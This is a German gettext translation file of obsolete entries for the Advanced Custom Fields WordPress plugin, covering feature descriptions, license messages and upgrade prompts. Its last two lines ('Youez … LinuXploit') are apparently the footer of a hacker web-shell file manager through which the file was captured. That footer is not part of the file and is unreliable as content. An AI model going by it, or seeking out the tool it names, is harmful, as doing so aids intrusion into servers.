#~ "premium functionality is more affordable and accessible than ever before!"
#~ msgstr ""
#~ "Alle vier, vormals separat erhältlichen, Premium-Add-ons wurden in der "
#~ "neuen <a href=\"%s\">Pro-Version von ACF</a> zusammengefasst. Besagte "
#~ "Premium-Funktionalität, erhältlich in einer Einzel- sowie einer "
#~ "Entwickler-Lizenz, ist somit erschwinglicher denn je!"

# @ acf
#~ msgid "Powerful Features"
#~ msgstr "Leistungsstarke Funktionen"

# @ acf
#~ msgid ""
#~ "ACF PRO contains powerful features such as repeatable data, flexible "
#~ "content layouts, a beautiful gallery field and the ability to create "
#~ "extra admin options pages!"
#~ msgstr ""
#~ "ACF PRO enthält leistungsstarke Funktionen wie wiederholbare Daten, "
#~ "Flexible Inhalte-Layouts, ein wunderschönes Galerie-Feld sowie die "
#~ "Möglichkeit zusätzliche Options-Seiten im Admin-Bereich zu erstellen!"

# @ acf
#, php-format
#~ msgid "Read more about <a href=\"%s\">ACF PRO features</a>."
#~ msgstr "Lies mehr über die <a href=\"%s\">ACF PRO Funktionen</a>."

# @ acf
#~ msgid "Easy Upgrading"
#~ msgstr "Kinderleichte Aktualisierung"

#~ msgid ""
#~ "Upgrading to ACF PRO is easy. Simply purchase a license online and "
#~ "download the plugin!"
#~ msgstr ""
#~ "Das Upgrade auf ACF PRO ist leicht. Einfach online eine Lizenz erwerben "
#~ "und das Plugin herunterladen!"

# @ acf
#, php-format
#~ msgid ""
#~ "We also wrote an <a href=\"%s\">upgrade guide</a> to answer any "
#~ "questions, but if you do have one, please contact our support team via "
#~ "the <a href=\"%s\">help desk</a>."
#~ msgstr ""
#~ "Um möglichen Fragen zu begegnen haben wir haben einen <a href=\"%s"
#~ "\">Upgrade-Leitfaden (Engl.)</a> erstellt. Sollten dennoch Fragen "
#~ "auftreten, kontaktiere bitte unser <a href=\"%s\"> Support-Team </a>."

#~ msgid "New Features"
#~ msgstr "Neue Funktionen"

# @ acf
#~ msgid "Link Field"
#~ msgstr "Link-Feld"

#~ msgid ""
#~ "The Link field provides a simple way to select or define a link (url, "
#~ "title, target)."
#~ msgstr ""
#~ "Das Link-Feld bietet einen einfachen Weg um einen Link (URL, Titel, Ziel) "
#~ "entweder auszuwählen oder zu definieren."

# @ acf
#~ msgid "Group Field"
#~ msgstr "Gruppen-Feld"

#~ msgid "The Group field provides a simple way to create a group of fields."
#~ msgstr ""
#~ "Das Gruppen-Feld bietet einen einfachen Weg eine Gruppe von Feldern zu "
#~ "erstellen."

# @ acf
#~ msgid "oEmbed Field"
#~ msgstr "oEmbed-Feld"

#~ msgid ""
#~ "The oEmbed field allows an easy way to embed videos, images, tweets, "
#~ "audio, and other content."
#~ msgstr ""
#~ "Das oEmbed-Feld erlaubt auf eine einfache Weise Videos, Bilder, Tweets, "
#~ "Audio und weitere Inhalte einzubetten."

# @ acf
#~ msgid "Clone Field"
#~ msgstr "Klon-Feld"

#~ msgid "The clone field allows you to select and display existing fields."
#~ msgstr ""
#~ "Das Klon-Feld erlaubt es dir bestehende Felder auszuwählen und anzuzeigen."

# @ acf
#~ msgid "More AJAX"
#~ msgstr "Mehr AJAX"

# @ acf
#~ msgid "More fields use AJAX powered search to speed up page loading."
#~ msgstr ""
#~ "Mehr Felder verwenden nun eine AJAX-basierte Suche, die die Ladezeiten "
#~ "von Seiten deutlich verringert."

# @ acf
#~ msgid ""
#~ "New auto export to JSON feature improves speed and allows for "
#~ "syncronisation."
#~ msgstr ""
#~ "Ein neuer automatischer Export nach JSON verbessert die Geschwindigkeit "
#~ "und erlaubt die Synchronisation."

# @ acf
#~ msgid "Easy Import / Export"
#~ msgstr "Einfacher Import / Export"

#~ msgid "Both import and export can easily be done through a new tools page."
#~ msgstr ""
#~ "Importe sowie Exporte können beide einfach auf der neuen Werkzeug-Seite "
#~ "durchgeführt werden."

# @ acf
#~ msgid "New Form Locations"
#~ msgstr "Neue Positionen für Formulare"

# @ acf
#~ msgid ""
#~ "Fields can now be mapped to menus, menu items, comments, widgets and all "
#~ "user forms!"
#~ msgstr ""
#~ "Felder können nun auch Menüs, Menüpunkten, Kommentaren, Widgets und allen "
#~ "Benutzer-Formularen zugeordnet werden!"

# @ acf
#~ msgid "More Customization"
#~ msgstr "Weitere Anpassungen"

#~ msgid ""
#~ "New PHP (and JS) actions and filters have been added to allow for more "
#~ "customization."
#~ msgstr ""
#~ "Neue Aktionen und Filter für PHP und JS wurden hinzugefügt um noch mehr "
#~ "Anpassungen zu erlauben."

#~ msgid "Fresh UI"
#~ msgstr "Eine modernisierte Benutzeroberfläche"

#~ msgid ""
#~ "The entire plugin has had a design refresh including new field types, "
#~ "settings and design!"
#~ msgstr ""
#~ "Das Design des kompletten Plugins wurde modernisiert, inklusive neuer "
#~ "Feldtypen, Einstellungen und Aussehen!"

# @ acf
#~ msgid "New Settings"
#~ msgstr "Neue Einstellungen"

# @ acf
#~ msgid ""
#~ "Field group settings have been added for Active, Label Placement, "
#~ "Instructions Placement and Description."
#~ msgstr ""
#~ "Die Feldgruppen wurden um die Einstellungen für das Aktivieren und "
#~ "Deaktivieren der Gruppe, die Platzierung von Beschriftungen und "
#~ "Anweisungen sowie eine Beschreibung erweitert."

# @ acf
#~ msgid "Better Front End Forms"
#~ msgstr "Verbesserte Frontend-Formulare"

# @ acf
#~ msgid ""
#~ "acf_form() can now create a new post on submission with lots of new "
#~ "settings."
#~ msgstr ""
#~ "acf_form() kann jetzt einen neuen Beitrag direkt beim Senden erstellen "
#~ "inklusive vieler neuer Einstellungsmöglichkeiten."

# @ acf
#~ msgid "Better Validation"
#~ msgstr "Bessere Validierung"

# @ acf
#~ msgid "Form validation is now done via PHP + AJAX in favour of only JS."
#~ msgstr ""
#~ "Die Formular-Validierung wird nun mit Hilfe von PHP + AJAX erledigt, "
#~ "anstelle nur JS zu verwenden."

# @ acf
#~ msgid "Moving Fields"
#~ msgstr "Verschiebbare Felder"

# @ acf
#~ msgid ""
#~ "New field group functionality allows you to move a field between groups & "
#~ "parents."
#~ msgstr ""
#~ "Die neue Feldgruppen-Funktionalität erlaubt es ein Feld zwischen Gruppen "
#~ "und übergeordneten Gruppen frei zu verschieben."

# @ acf
#, php-format
#~ msgid "We think you'll love the changes in %s."
#~ msgstr "Wir glauben Du wirst die Änderungen in %s lieben."

# @ acf
#~ msgid "Add-ons"
#~ msgstr "Zusatz-Module"

# @ acf
#~ msgid "Download & Install"
#~ msgstr "Download & Installieren"

# @ acf
#~ msgid "Installed"
#~ msgstr "Installiert"

# @ acf
#~ msgid "Shown when entering data"
#~ msgstr "Legt fest welche Maße die Vorschau in der Bearbeitungsansicht hat"

#~ msgid "Testimonial"
#~ msgstr "Testimonial"

#~ msgid "A custom testimonial block."
#~ msgstr "Ein individueller Testimonial-Block."

#~ msgid "Slider"
#~ msgstr "Slider"

# @ acf
#~ msgid "A custom gallery slider."
#~ msgstr "Ein individueller Galerie-Slider."

# @ acf
#~ msgid "http://www.elliotcondon.com/"
#~ msgstr "http://www.elliotcondon.com/"

# @ acf
#~ msgid "%s field group synchronised."
#~ msgid_plural "%s field groups synchronised."
#~ msgstr[0] "%s Feldgruppe synchronisiert."
#~ msgstr[1] "%s Feldgruppen synchronisiert."

# @ acf
#~ msgid "<b>Error</b>. Could not load add-ons list"
#~ msgstr ""
#~ "<b>Fehler</b>. Die Liste der Zusatz-Module kann nicht geladen werden"

#~ msgid "Error validating request"
#~ msgstr "Fehler bei der Überprüfung der Anfrage"

# @ acf
#~ msgid "Advanced Custom Fields Database Upgrade"
#~ msgstr "Advanced Custom Fields Datenbank-Upgrade"

# @ acf
#~ msgid ""
#~ "Before you start using the new awesome features, please update your "
#~ "database to the newest version."
#~ msgstr ""
#~ "Bevor du die großartigen neuen Funktionen nutzen kannst ist ein Upgrade "
#~ "der Datenbank notwendig."

# @ acf
#~ msgid ""
#~ "To help make upgrading easy, <a href=\"%s\">login to your store account</"
#~ "a> and claim a free copy of ACF PRO!"
#~ msgstr ""
#~ "Wir haben den Aktualisierungsprozess so einfach wie möglich gehalten; <a "
#~ "href=\"%s\">melde  Dich mit Deinem Store-Account an</a> und fordere ein "
#~ "Gratisexemplar von ACF PRO an!"

# @ acf
#~ msgid "Under the Hood"
#~ msgstr "Unter der Haube"

# @ acf
#~ msgid "Smarter field settings"
#~ msgstr "Intelligentere Feld-Einstellungen"

# @ acf
#~ msgid "ACF now saves its field settings as individual post objects"
#~ msgstr ""
#~ "ACF speichert nun die Feld-Einstellungen als individuelle Beitrags-Objekte"

# @ acf
#~ msgid "Better version control"
#~ msgstr "Verbesserte Versionskontrolle"

# @ acf
#~ msgid ""
#~ "New auto export to JSON feature allows field settings to be version "
#~ "controlled"
#~ msgstr ""
#~ "Die neue JSON Export Funktionalität erlaubt die Versionskontrolle von "
#~ "Feld-Einstellungen"

# @ acf
#~ msgid "Swapped XML for JSON"
#~ msgstr "JSON ersetzt XML"

# @ acf
#~ msgid "Import / Export now uses JSON in favour of XML"
#~ msgstr "Das Import- und Export-Modul nutzt nun JSON anstelle XML"

# @ acf
#~ msgid "New Forms"
#~ msgstr "Neue Formulare"

# @ acf
#~ msgid "A new field for embedding content has been added"
#~ msgstr "Ein neues Feld für das Einbetten von Inhalten wurde hinzugefügt"

# @ acf
#~ msgid "New Gallery"
#~ msgstr "Neue Galerie"

# @ acf
#~ msgid "The gallery field has undergone a much needed facelift"
#~ msgstr ""
#~ "Das Galerie-Feld wurde einem längst überfälligen Face-Lifting unterzogen"

# @ acf
#~ msgid "Relationship Field"
#~ msgstr "Beziehungs-Feld"

# @ acf
#~ msgid ""
#~ "New Relationship field setting for 'Filters' (Search, Post Type, Taxonomy)"
#~ msgstr ""
#~ "Neue Einstellungen innerhalb des Beziehungs-Feldes um nach Suche, "
#~ "Beitrags-Typ und oder Taxonomie filtern zu können"

# @ acf
#~ msgid "New archives group in page_link field selection"
#~ msgstr ""
#~ "Im neuen Seitenlink-Feld werden alle Archiv-URL's der verfügbaren Custom "
#~ "Post Types in einer Options-Gruppe zusammengefasst"

# @ acf
#~ msgid "Better Options Pages"
#~ msgstr "Verbesserte Options-Seiten"

# @ acf
#~ msgid ""
#~ "New functions for options page allow creation of both parent and child "
#~ "menu pages"
#~ msgstr ""
#~ "Neue Funktionen für die Options-Seite erlauben die Erstellung von Menüs "
#~ "für übergeordnete Seiten sowie Unterseiten"

# @ acf
#~ msgid "None"
#~ msgstr "Nur Text"

#~ msgid "Error."
#~ msgstr "Fehler."

# @ acf
#~ msgid "remove {layout}?"
#~ msgstr "{layout} entfernen?"

# @ acf
#~ msgid "This field requires at least {min} {identifier}"
#~ msgstr "Dieses Feld erfordert mindestens {min} {identifier}"

# @ acf
#~ msgid "Maximum {label} limit reached ({max} {identifier})"
#~ msgstr "Maximale {label}-Anzahl erreicht ({max} {identifier})"

# @ acf
#~ msgid "Parent fields"
#~ msgstr "Übergeordnete Felder"

# @ acf
#~ msgid "Sibling fields"
#~ msgstr "Geschwister-Felder"

# @ acf
#~ msgid "Locating"
#~ msgstr "Lokalisiere"

# @ acf
#~ msgid "No embed found for the given URL."
#~ msgstr "Keine Inhalte für die eingegebene URL gefunden."

# @ acf
#~ msgid "Minimum values reached ( {min} values )"
#~ msgstr "Minimum der Einträge mit ({min} Einträge) erreicht"

# @ acf
#~ msgid "Taxonomy Term"
#~ msgstr "Taxonomie"

# @ acf
#~ msgid "Export Field Groups to PHP"
#~ msgstr "Exportieren der Feld-Gruppen nach PHP"

# @ acf
#~ msgid "Download export file"
#~ msgstr "JSON-Datei exportieren"

# @ acf
#~ msgid "Generate export code"
#~ msgstr "Erstelle PHP-Code"

# @ acf
#~ msgid ""
#~ "The tab field will display incorrectly when added to a Table style "
#~ "repeater field or flexible content field layout"
#~ msgstr ""
#~ "Ein Tab-Feld wird nicht korrekt dargestellt, wenn es zu einem "
#~ "Wiederholung- oder Flexible-Inhalte-Feld im Tabellen-Layout eingebunden "
#~ "ist"

# @ acf
#~ msgid ""
#~ "Use \"Tab Fields\" to better organize your edit screen by grouping fields "
#~ "together."
#~ msgstr ""
#~ "Mit \"Tab Feldern\" können Felder für eine bessere Struktur im Editor in "
#~ "Tabs zusammengefasst werden."

# @ acf
#~ msgid ""
#~ "All fields following this \"tab field\" (or until another \"tab field\" "
#~ "is defined) will be grouped together using this field's label as the tab "
#~ "heading."
#~ msgstr ""
#~ "Alle Felder, die auf dieses \"Tab Feld\" folgen (oder bis ein weiteres "
#~ "\"Tab Feld\" definiert ist), werden in einem Tab mit dem Namen dieses "
#~ "Felds zusammengefasst."

# @ acf
#~ msgid "Getting Started"
#~ msgstr "Erste Schritte"

# @ acf
#~ msgid "Field Types"
#~ msgstr "Feld-Typen"

# @ acf
#~ msgid "Functions"
#~ msgstr "Funktionen"

# @ acf
#~ msgid "Actions"
#~ msgstr "Aktionen"

#~ msgid "How to"
#~ msgstr "Kurzanleitungen"

# @ acf
#~ msgid "Tutorials"
#~ msgstr "Ausführliche Anleitungen"

#~ msgid "FAQ"
#~ msgstr "Häufig gestellte Fragen"

#~ msgid "Term meta upgrade not possible (termmeta table does not exist)"
#~ msgstr ""
#~ "Term Meta-Aktualisierung war nicht möglich (die termmeta-Tabelle "
#~ "existiert nicht)"

# @ acf
#~ msgid "Error"
#~ msgstr "Fehler"

#~ msgid "1 field requires attention."
#~ msgid_plural "%d fields require attention."
#~ msgstr[0] "Ein Feld bedarf Deiner Aufmerksamkeit."
#~ msgstr[1] "%d Felder bedürfen Deiner Aufmerksamkeit."

#~ msgid ""
#~ "Error validating ACF PRO license URL (website does not match). Please re-"
#~ "activate your license"
#~ msgstr ""
#~ "Fehler bei der Überprüfung der ACF PRO Lizenz URL (Webseiten stimmen "
#~ "nicht überein). Bitte reaktiviere deine Lizenz"

# @ acf
#~ msgid "'How to' guides"
#~ msgstr "Kurzanleitungen"

# @ acf
#~ msgid "Created by"
#~ msgstr "Erstellt von"

# @ acf
#~ msgid "See what's new"
#~ msgstr "Was ist neu"

# @ acf
#~ msgid "eg. Show extra content"
#~ msgstr "z.B. Zeige zusätzliche Inhalte"

#~ msgid ""
#~ "Error validating license URL (website does not match). Please re-activate "
#~ "your license"
#~ msgstr ""
#~ "Fehler bei der Überprüfung der Lizenz-URL (Webseite stimmt nicht "
#~ "überein). Bitte reaktiviere Deine Lizenz"

# @ acf
#~ msgid "<b>Success</b>. Import tool added %s field groups: %s"
#~ msgstr "<b>Erfolgreich</b>. Der Import hat %s Feld-Gruppen hinzugefügt: %s"

# @ acf
#~ msgid ""
#~ "<b>Warning</b>. Import tool detected %s field groups already exist and "
#~ "have been ignored: %s"
#~ msgstr ""
#~ "<b>Warnung</b>. Der Import hat %s Feld-Gruppen erkannt, die schon "
#~ "vorhanden sind und diese ignoriert: %s"

# @ acf
#~ msgid "Upgrade ACF"
#~ msgstr "Aktualisiere ACF"

# @ acf
#~ msgid "Upgrade"
#~ msgstr "Aktualisieren"

# @ acf
#~ msgid ""
#~ "The following sites require a DB upgrade. Check the ones you want to "
#~ "update and then click “Upgrade Database”."
#~ msgstr ""
#~ "Die folgenden Seiten erfordern eine Datenbank- Aktualisierung. Markiere "
#~ "die gewünschten Seiten und klicke \\\"Aktualisiere Datenbank\\\"."

# @ acf
#~ msgid "Select"
#~ msgstr "Auswahlmenü"

# @ acf
#~ msgid "<b>Connection Error</b>. Sorry, please try again"
#~ msgstr ""
#~ "<b>Verbindungsfehler</b>. Entschuldige, versuche es bitte später noch "
#~ "einmal"

# @ acf
#~ msgid "Done"
#~ msgstr "Fertig"

# @ acf
#~ msgid "Today"
#~ msgstr "Heute"

# @ acf
#~ msgid "Show a different month"
#~ msgstr "Zeige einen anderen Monat"

# @ acf
#~ msgid "See what's new in"
#~ msgstr "Neuerungen in"

#~ msgid "Upgrading data to"
#~ msgstr "Aktualisiere Daten auf"

# @ acf
#~ msgid "Return format"
#~ msgstr "Rückgabe-Format"

# @ acf
#~ msgid "uploaded to this post"
#~ msgstr "zu diesem Beitrag hochgeladen"

# @ acf
#~ msgid "File Name"
#~ msgstr "Dateiname"

# @ acf
#~ msgid "File Size"
#~ msgstr "Dateigröße"

# @ acf
#~ msgid "No File selected"
#~ msgstr "Keine Datei ausgewählt"

# @ acf
#~ msgid "License"
#~ msgstr "Lizenz"

# @ acf
#~ msgid ""
#~ "To unlock updates, please enter your license key below. If you don't have "
#~ "a licence key, please see"
#~ msgstr ""
#~ "Um die Aktualisierungs-Fähigkeit freizuschalten, trage bitte Deinen "
#~ "Lizenzschlüssel im darunterliegenden Feld ein. Solltest Du noch keinen "
#~ "Lizenzschlüssel besitzen, informiere Dich bitte hier über die"

# @ acf
#~ msgid "details & pricing"
#~ msgstr "Details und Preise."

# @ acf
#~ msgid ""
#~ "To enable updates, please enter your license key on the <a href=\"%s"
#~ "\">Updates</a> page. If you don't have a licence key, please see <a href="
#~ "\"%s\">details & pricing</a>"
#~ msgstr ""
#~ "Um die Aktualisierungen freizuschalten, trage bitte Deinen "
#~ "Lizenzschlüssel auf der <a href=\"%s\">Aktualisierungen</a>-Seite ein. "
#~ "Solltest Du noch keinen Lizenzschlüssel besitzen, informiere Dich bitte "
#~ "hier über die <a href=\"%s\">Details und Preise</a>"

# @ acf
#~ msgid "Advanced Custom Fields Pro"
#~ msgstr "Advanced Custom Fields Pro"

# @ acf
#~ msgid "http://www.advancedcustomfields.com/"
#~ msgstr "http://www.advancedcustomfields.com/"

# @ acf
#~ msgid "elliot condon"
#~ msgstr "elliot condon"

# @ acf
#~ msgid "Drag and drop to reorder"
#~ msgstr "Mittels Drag-and-Drop die Reihenfolge ändern"

# @ acf
#~ msgid "Add new %s "
#~ msgstr "Neue %s "

# @ acf
#~ msgid "Save Options"
#~ msgstr "Optionen speichern"

#~ msgid "Sync Available"
#~ msgstr "Synchronisierung verfügbar"

# @ acf
#~ msgid ""
#~ "Please note that all text will first be passed through the wp function "
#~ msgstr ""
#~ "Bitte beachte, dass der gesamte Text zuerst durch eine WordPress Funktion "
#~ "gefiltert wird. Siehe: "

# @ acf
#~ msgid "Warning"
#~ msgstr "Warnung"

# @ acf
#~ msgid "Show Field Keys"
#~ msgstr "Zeige Feld-Schlüssel"

# @ acf
#~ msgid "Field groups are created in order from lowest to highest"
#~ msgstr ""
#~ "Felder-Gruppen werden nach diesem Wert sortiert, vom niedrigsten zum "
#~ "höchsten Wert."

# @ acf
#~ msgid "Hide / Show All"
#~ msgstr "Alle Verstecken"

# @ acf
#~ msgid "5.2.6"
#~ msgstr "5.2.6"

Youez - 2016 - github.com/yon3zu
LinuXploit